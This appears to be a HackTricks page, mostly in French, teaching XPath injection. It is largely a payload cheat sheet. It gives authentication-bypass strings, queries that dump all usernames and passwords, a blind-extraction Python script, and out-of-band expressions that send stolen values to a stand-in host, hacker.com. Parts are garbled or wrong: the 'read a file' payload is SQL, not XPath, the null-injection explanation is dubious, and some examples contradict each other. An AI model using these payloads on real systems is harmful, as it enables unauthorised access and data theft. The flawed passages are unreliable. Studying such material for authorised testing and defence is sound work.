29 KiB
Injection XPATH
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
HackenProof est la plateforme des primes de bugs cryptographiques.
Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du piratage web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof commencez à gagner grâce à vos piratages !
{% embed url="https://hackenproof.com/register" %}
Syntaxe de base
L'injection XPATH est une technique d'attaque utilisée pour exploiter les applications qui construisent des requêtes XPath (XML Path Language) à partir d'entrées fournies par l'utilisateur pour interroger ou naviguer dans des documents XML.
Informations sur la façon de faire des requêtes : https://www.w3schools.com/xml/xpath_syntax.asp
Noeuds
| Expression | Description |
|---|---|
| nodename | Sélectionne tous les noeuds avec le nom "nodename" |
| / | Sélectionne à partir du noeud racine |
| // | Sélectionne les noeuds dans le document à partir du noeud courant qui correspondent à la sélection, peu importe où ils se trouvent |
| . | Sélectionne le noeud courant |
| .. | Sélectionne le parent du noeud courant |
| @ | Sélectionne les attributs |
Exemples :
| Expression de chemin | Résultat |
|---|---|
| bookstore | Sélectionne tous les noeuds avec le nom "bookstore" |
| /bookstore | Sélectionne l'élément racine bookstoreNote: Si le chemin commence par un slash ( / ), il représente toujours un chemin absolu vers un élément ! |
| bookstore/book | Sélectionne tous les éléments book qui sont des enfants de bookstore |
| //book | Sélectionne tous les éléments book peu importe où ils se trouvent dans le document |
| bookstore//book | Sélectionne tous les éléments book qui sont des descendants de l'élément bookstore, peu importe où ils se trouvent sous l'élément bookstore |
| //@lang | Sélectionne tous les attributs qui s'appellent lang |
Prédicats
| Expression de chemin | Résultat |
|---|---|
| /bookstore/book[1] | Sélectionne le premier élément book qui est un enfant de l'élément bookstore.Note: Dans IE 5,6,7,8,9, le premier noeud est [0], mais selon le W3C, c'est [1]. Pour résoudre ce problème dans IE, définissez SelectionLanguage sur XPath : En JavaScript : xml.setProperty("SelectionLanguage","XPath"); |
| /bookstore/book[last()] | Sélectionne le dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book[last()-1] | Sélectionne l'avant-dernier élément book qui est un enfant de l'élément bookstore |
| /bookstore/book[position()<3] | Sélectionne les deux premiers éléments book qui sont des enfants de l'élément bookstore |
| //title[@lang] | Sélectionne tous les éléments title qui ont un attribut appelé lang |
| //title[@lang='en'] | Sélectionne tous les éléments title qui ont un attribut "lang" avec une valeur de "en" |
| /bookstore/book[price>35.00] | Sélectionne tous les éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
| /bookstore/book[price>35.00]/title | Sélectionne tous les éléments title des éléments book de l'élément bookstore qui ont un élément price avec une valeur supérieure à 35.00 |
Noeuds inconnus
| Jocker | Description |
|---|---|
| * | Correspond à n'importe quel noeud élément |
| @* | Correspond à n'importe quel noeud attribut |
| node() | Correspond à n'importe quel noeud de n'importe quel type |
Exemples:
| Expression de chemin | Résultat |
|---|---|
| /bookstore/* | Sélectionne tous les nœuds élément enfants de l'élément bookstore |
| //* | Sélectionne tous les éléments du document |
| //title[@*] | Sélectionne tous les éléments title qui ont au moins un attribut de tout type |
HackenProof est le lieu de tous les programmes de primes pour les bugs de crypto.
Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez la légende des hackers web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
Exemple
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>
Accéder aux informations
XPath Injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML databases. By injecting malicious XPath expressions into user input fields, an attacker can manipulate the query and gain unauthorized access to sensitive information.
To access the information, an attacker needs to identify a vulnerable input field that is used in an XPath query. This can typically be found in search forms, login pages, or any other functionality that involves querying XML data.
Once a vulnerable input field is identified, the attacker can start injecting malicious XPath expressions. These expressions are used to modify the original query and retrieve additional information that is not intended to be disclosed.
For example, consider a search form that uses an XPath query to retrieve user information from an XML database. The query may look like this:
//users/user[name='John']
By injecting a malicious XPath expression like ' or 1=1 or ''=', the attacker can modify the query to retrieve all user information:
//users/user[name='John' or 1=1 or ''='']
This modified query will return all user information, regardless of the name specified in the search form.
To prevent XPath Injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for special characters and ensuring that the input conforms to the expected format.
Additionally, using parameterized XPath queries can help mitigate XPath Injection attacks. Parameterized queries separate the query logic from the user input, making it harder for attackers to manipulate the query.
By understanding and exploiting XPath Injection vulnerabilities, attackers can gain unauthorized access to sensitive information stored in XML databases. It is crucial for developers and security professionals to be aware of this technique and take appropriate measures to secure their web applications.
All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
Identifier et voler le schéma
XPath Injection peut être utilisé pour identifier et voler le schéma d'une application Web. Le schéma d'une application Web peut contenir des informations sensibles telles que la structure de la base de données, les noms de table, les noms de colonnes, etc. Voici comment procéder :
-
Identifier les points d'injection XPath : Recherchez les entrées utilisateur qui sont utilisées dans les requêtes XPath de l'application. Cela peut inclure des paramètres d'URL, des formulaires de recherche, des champs de saisie, etc.
-
Injecter du code XPath malveillant : Utilisez les points d'injection identifiés pour injecter du code XPath malveillant. Par exemple, vous pouvez utiliser des opérateurs logiques tels que "or" et "and" pour modifier la requête XPath et extraire des informations supplémentaires.
-
Identifier les erreurs et les réponses : Analysez les réponses de l'application pour identifier les erreurs ou les réponses qui contiennent des informations sensibles. Par exemple, une erreur de syntaxe XPath peut indiquer que vous avez réussi à injecter du code XPath malveillant.
-
Extraire le schéma : Utilisez des techniques d'injection XPath pour extraire le schéma de l'application. Par exemple, vous pouvez utiliser des fonctions XPath telles que "substring()" et "concat()" pour extraire des parties spécifiques du schéma.
Il est important de noter que l'injection XPath peut être illégale et doit être effectuée uniquement dans le cadre d'un test d'intrusion autorisé.
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
Contournement de l'authentification
Exemple de requêtes :
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
Contournement OR dans l'utilisateur et le mot de passe (même valeur dans les deux)
' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
Abus de l'injection null
Null injection is a technique used to exploit vulnerabilities in web applications that use XPath queries to retrieve data from XML documents. XPath is a language used to navigate through XML documents and extract specific information.
In a null injection attack, the attacker manipulates the XPath query by injecting a null character (\x00) to bypass input validation and retrieve unintended data. This can lead to unauthorized access to sensitive information or even the execution of arbitrary code.
To perform a null injection attack, the attacker needs to identify a vulnerable input field that is used in an XPath query. The attacker then injects the null character at a strategic point in the input, such as within a string literal or a function call.
For example, consider the following vulnerable XPath query:
//users/user[name/text()='admin' and password/text()='password']
To exploit this vulnerability, the attacker can inject a null character after the admin string, like this:
//users/user[name/text()='admin\x00' and password/text()='password']
This null character effectively terminates the string literal, causing the XPath query to ignore the rest of the input. As a result, the query only checks the name field and ignores the password field, allowing the attacker to bypass authentication.
To prevent null injection attacks, it is important to properly validate and sanitize user input before using it in XPath queries. Input validation should include checking for the presence of null characters and other special characters that can be used for injection.
In conclusion, null injection is a powerful technique that can be used to exploit XPath injection vulnerabilities in web applications. By understanding how null injection works, developers and security professionals can better protect their applications from this type of attack.
Username: ' or 1]%00
Double OU dans le nom d'utilisateur ou dans le mot de passe (est valide avec seulement 1 champ vulnérable)
IMPORTANT: Remarquez que "et" est la première opération effectuée.
Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
Extraction de chaînes de caractères
La sortie contient des chaînes de caractères et l'utilisateur peut manipuler les valeurs pour effectuer une recherche :
/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
Exploitation en aveugle
Obtenir la longueur d'une valeur et l'extraire par des comparaisons :
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
Exemple Python
import requests, string
flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
Lire un fichier
L'injection XPath est une technique d'attaque utilisée pour extraire des données à partir d'une application Web vulnérable en exploitant les vulnérabilités de l'interrogation XPath. L'interrogation XPath est un langage de requête utilisé pour extraire des informations à partir de documents XML.
Lorsqu'une application Web utilise des entrées utilisateur non filtrées pour construire des requêtes XPath, il est possible d'injecter du code XPath malveillant pour manipuler la requête et extraire des données sensibles. Cela peut permettre à un attaquant d'accéder à des informations confidentielles, telles que des noms d'utilisateur, des mots de passe ou des données personnelles.
Pour exploiter une injection XPath, un attaquant doit identifier les points d'injection potentiels dans l'application Web cible. Cela peut être fait en analysant le code source de l'application ou en utilisant des outils d'analyse automatisés. Une fois les points d'injection identifiés, l'attaquant peut commencer à tester différentes charges utiles XPath pour extraire des données.
Voici un exemple de charge utile XPath malveillante qui peut être utilisée pour extraire le contenu d'un fichier:
' or 1=1 or 'a'='a' union select LOAD_FILE('/etc/passwd')#
Dans cet exemple, la charge utile injectée ' or 1=1 or 'a'='a' union select LOAD_FILE('/etc/passwd')# est utilisée pour extraire le contenu du fichier /etc/passwd. L'attaque réussira si l'application Web est vulnérable à l'injection XPath et si l'utilisateur exécutant l'application a les autorisations nécessaires pour accéder au fichier.
Pour se protéger contre les attaques d'injection XPath, il est important de mettre en œuvre des mesures de sécurité telles que la validation et l'échappement des entrées utilisateur, l'utilisation de requêtes paramétrées et la limitation des privilèges d'accès aux fichiers.
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
Exploitation OOB
Out-of-Band (OOB) exploitation is a technique used in XPath injection attacks to extract data from a vulnerable web application. XPath injection occurs when an attacker is able to manipulate an XPath query used by the application to retrieve data from an XML document.
During an OOB exploitation, the attacker crafts a malicious XPath query that includes a request to an external server controlled by the attacker. This request is designed to trigger a response from the server, which can then be used to extract sensitive information from the target application.
The OOB exploitation technique can be divided into two main categories: blind and error-based.
Blind OOB Exploitation
In blind OOB exploitation, the attacker is unable to directly view the extracted data. Instead, the attacker relies on the application's behavior to determine if the injection was successful. This can be done by observing changes in the application's response time, error messages, or other indicators that suggest the injected query was executed.
To perform a blind OOB exploitation, the attacker crafts an XPath query that triggers a request to their controlled server. The server then logs the request, allowing the attacker to infer the extracted data based on the logged information.
Error-Based OOB Exploitation
In error-based OOB exploitation, the attacker intentionally triggers an error in the application to extract data. This is done by injecting a malicious XPath query that causes the application to generate an error message containing the desired information.
To perform an error-based OOB exploitation, the attacker crafts an XPath query that triggers an error condition in the application. The error message generated by the application is then captured by the attacker's server, allowing them to extract the desired data.
Both blind and error-based OOB exploitation techniques can be effective in extracting sensitive information from a vulnerable web application. It is important for developers to be aware of these techniques and implement proper input validation and sanitization to prevent XPath injection attacks.
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
Outil automatique
{% embed url="https://xcat.readthedocs.io/" %}
Références
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20injection" %}
HackenProof est la plateforme des primes pour les bugs de cryptographie.
Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.
Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.
Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.
Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.